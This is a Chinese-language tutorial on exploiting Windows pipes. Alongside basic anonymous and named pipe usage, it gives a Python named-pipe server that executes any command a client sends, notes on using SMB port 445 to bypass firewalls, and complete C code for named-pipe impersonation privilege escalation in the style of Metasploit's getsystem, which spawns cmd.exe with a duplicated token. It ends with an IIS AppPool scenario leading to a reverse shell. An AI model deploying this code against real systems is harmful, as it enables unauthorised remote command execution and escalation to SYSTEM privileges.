Pipe管道利用研究分享
字数 1321 2025-08-22 12:22:42
Windows管道(Pipe)利用技术详解
一、管道基础概念
1. 管道类型
Windows操作系统提供了两种主要的管道机制:
匿名管道(Anonymous Pipe)
-
特点:
- 单向通信:数据只能单向流动(从一个进程的输出流到另一个进程的输入流)
- 进程关系:通常用于父子进程之间的通信
- 使用限制:只能在同一台计算机上使用,不能用于网络通信
-
典型用例:
- 父进程创建匿名管道并将其句柄传递给子进程
- 从子进程中捕获输出(如命令行工具输出)
-
C/C++创建示例:
HANDLE hReadPipe, hWritePipe;
SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE };
if (CreatePipe(&hReadPipe, &hWritePipe, &sa, 0)) {
// 使用管道进行数据通信
}
命名管道(Named Pipe)
-
特点:
- 双向通信:支持双向或单向通信
- 进程关系:可以在不同进程间通信,甚至可以跨网络通信
- 命名机制:每个命名管道有唯一名称,客户端可通过名称访问
- 并发支持:同一个管道可同时被多个客户端连接
-
典型用例:
- 客户端与服务器之间的通信
- 网络通信:跨计算机传输数据
- 实现复杂的进程间通信
-
C/C++创建示例:
// 服务端创建命名管道
HANDLE hPipe = CreateNamedPipe(
TEXT("\\\\.\\pipe\\MyPipe"), // 管道名
PIPE_ACCESS_DUPLEX, // 双向读写
PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT, // 消息模式
PIPE_UNLIMITED_INSTANCES, // 最大实例数
512, 512, // 输出和输入缓冲区大小
0, // 默认超时时间
NULL // 安全属性
);
// 客户端连接命名管道
HANDLE hPipe = CreateFile(
TEXT("\\\\.\\pipe\\MyPipe"), // 管道名
GENERIC_READ | GENERIC_WRITE, // 读写权限
0, // 不共享
NULL, // 默认安全属性
OPEN_EXISTING, // 打开现有管道
0, // 默认属性
NULL // 无模板文件
);
二、Python实现命名管道通信
1. 服务端实现
import subprocess
import win32pipe
import win32file
PIPE_NAME = r"\\.\pipe\MyPipe"
def command_execute(command):
"""执行命令并返回输出"""
try:
result = subprocess.run(command, shell=True, capture_output=True, text=True)
return result.stdout + result.stderr
except Exception as e:
return f"Error executing command: {str(e)}"
def start_pipe_server():
print(f"Starting server at pipe: {PIPE_NAME}")
# 创建命名管道
pipe = win32pipe.CreateNamedPipe(
PIPE_NAME,
win32pipe.PIPE_ACCESS_DUPLEX, # 双向通信
win32pipe.PIPE_TYPE_MESSAGE | win32pipe.PIPE_WAIT,
1, # 最大连接数
65536, # 输出缓冲区大小
65536, # 输入缓冲区大小
0,
None
)
print("Waiting for client connection...")
# 等待客户端连接
win32pipe.ConnectNamedPipe(pipe, None)
print("Client connected!")
while True:
try:
print("Waiting for a message...")
# 读取客户端发送的数据
result, message = win32file.ReadFile(pipe, 4096)
print(f"Received message: {message.decode('utf-8')}")
if message.decode('utf-8').strip().lower() == "exit":
print("Exit command received. Closing server.")
break
# 回复客户端
output = command_execute(message.decode('utf-8').strip())
win32file.WriteFile(pipe, output.encode('utf-8')) # 返回结果
except Exception as e:
return f"Client auto close: {str(e)}"
# 关闭管道
win32file.CloseHandle(pipe)
print("Pipe closed.")
if __name__ == "__main__":
start_pipe_server()
2. 客户端实现
import win32file
import win32pipe
PIPE_NAME = r"\\.\pipe\MyPipe"
def connect_to_pipe():
print(f"Connecting to pipe: {PIPE_NAME}")
# 连接到命名管道
handle = win32file.CreateFile(
PIPE_NAME,
win32file.GENERIC_READ | win32file.GENERIC_WRITE,
0,
None,
win32file.OPEN_EXISTING,
0,
None
)
print("Connected to server.")
return handle
def send_message(pipe_handle, message):
print(f"Sending message: {message}")
win32file.WriteFile(pipe_handle, message.encode('utf-8'))
# 读取服务端的回复
result, response = win32file.ReadFile(pipe_handle, 4096)
print(f"Server response: {response.decode('utf-8')}")
if __name__ == "__main__":
pipe = connect_to_pipe()
# 发送测试消息
send_message(pipe, "calc")
send_message(pipe, "exit") # 发送退出命令
# 关闭管道
win32file.CloseHandle(pipe)
print("Client disconnected.")
三、远程命名管道利用
1. 网络通信基础
- 远程命名管道使用SMB协议(Server Message Block)
- 默认端口:
- TCP 445:现代SMB协议的默认端口
- TCP 139:较旧的SMB协议版本可能使用
- 防火墙绕过:445端口通常默认放行,可用于绕过防火墙限制
2. 准备工作
- 确保SMB服务已在两台主机上启用(文件和打印机共享)
- 确保防火墙允许访问TCP 445端口
- 确保两台主机间建立了网络连接
- 远程主机上存在适当的访问权限
- 可配置命名管道的安全描述符(Security Descriptor)增强安全性
- 必须将IPC$进行net use绑定才能使用远程管道
四、提权技术:命名管道冒充
1. MSF的getsystem基本原理
- 命名管道:Windows系统进程间通信方式,支持跨网络通信
- 冒充客户端:当高权限客户端(如SYSTEM)连接到攻击者创建的命名管道时,攻击者通过
ImpersonateNamedPipeClient冒充该客户端的安全上下文,获得相同权限
2. 攻击流程
- 创建命名管道:使用
CreateNamedPipe函数 - 等待客户端连接:使用
ConnectNamedPipe等待高权限进程连接 - 调用冒充函数:使用
ImpersonateNamedPipeClient切换当前线程安全上下文 - 提权操作:利用获得的高权限执行操作(创建进程、修改文件等)
3. C语言实现示例
#include<stdio.h>
#include<windows.h>
int main() {
HANDLE hPipe = NULL;
HANDLE tokenHandle = NULL;
HANDLE newtokenHandle = NULL;
STARTUPINFO startupInfo;
startupInfo.cb = sizeof(STARTUPINFO);
PROCESS_INFORMATION processInformation;
wchar_t recv_buf[1024] = { 0 };
ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
hPipe = CreateNamedPipe(
L"\\\\.\\pipe\\myServerPipe",
PIPE_ACCESS_DUPLEX,
PIPE_READMODE_BYTE | PIPE_WAIT,
PIPE_UNLIMITED_INSTANCES,
1024,
1024,
0,
NULL
);
if (hPipe == INVALID_HANDLE_VALUE) {
printf("CreatePipe Failed");
CloseHandle(hPipe);
}
printf("[+] CreateNamedPipe Successfully\n");
// 服务端在这里会进行堵塞,等待客户端进行连接
if (ConnectNamedPipe(hPipe, NULL)) {
printf("[+] ConnectNamedPipe Successfully\n");
// 用于使调用线程模仿通过命名管道连接的客户端的安全上下文
if (ImpersonateNamedPipeClient(hPipe) == 0) {
printf("[!] Error impersonating client %d\n", GetLastError());
CloseHandle(hPipe);
return -1;
}
printf("[+] ImpersonateNamedPipeClient Successfully\n");
// 用于打开与当前线程相关联的访问令牌
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &tokenHandle)) {
printf("[!] Error opening thread token %d\n", GetLastError());
CloseHandle(hPipe);
return -1;
}
printf("[+] OpenThreadToken Successfully\n");
// 复制现有的访问令牌,并允许对新令牌进行一定的定制化处理
if (!DuplicateTokenEx(tokenHandle, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &newtokenHandle)) {
printf("[!] Error duplicating thread token %d\n", GetLastError());
CloseHandle(hPipe);
return -1;
}
printf("[+] DuplicateTokenEx Successfully\n");
wchar_t cmdPath[MAX_PATH] = L"c:\\windows\\system32\\cmd.exe";
// 这个函数允许在具有特定身份验证的情况下启动一个新进程
if (!CreateProcessWithTokenW(newtokenHandle, LOGON_NETCREDENTIALS_ONLY, NULL, cmdPath, NULL, NULL, NULL, (LPSTARTUPINFOW)&startupInfo, &processInformation)) {
printf("[!] CreateProcessWithTokenW Failed (%d).\n", GetLastError());
CloseHandle(hPipe);
return -1;
}
printf("[+] CreateProcessWithTokenW Successfully\n");
CloseHandle(hPipe);
}
return 0;
}
4. 实际利用场景示例
- 面对具有Windows集成身份验证的dotnet Web应用程序
- 使用弱本地密码访问Admin后端
- 在管理面板中指定记录用户活动的日志文件
- 从管理面板获取RCE(如上传.aspx文件)
- Web服务器在标准IIS AppPool用户下运行(默认具有SeImpersonate权限)
权限提升步骤:
- 为Logfile指定命名管道(\.\pipe\logfile)
- 获取IIS AppPoolUser的shell,创建命名管道并等待连接
- 模拟写入Logfile的经过身份验证的用户
- 如果是高权限用户,使用其令牌启动反向shell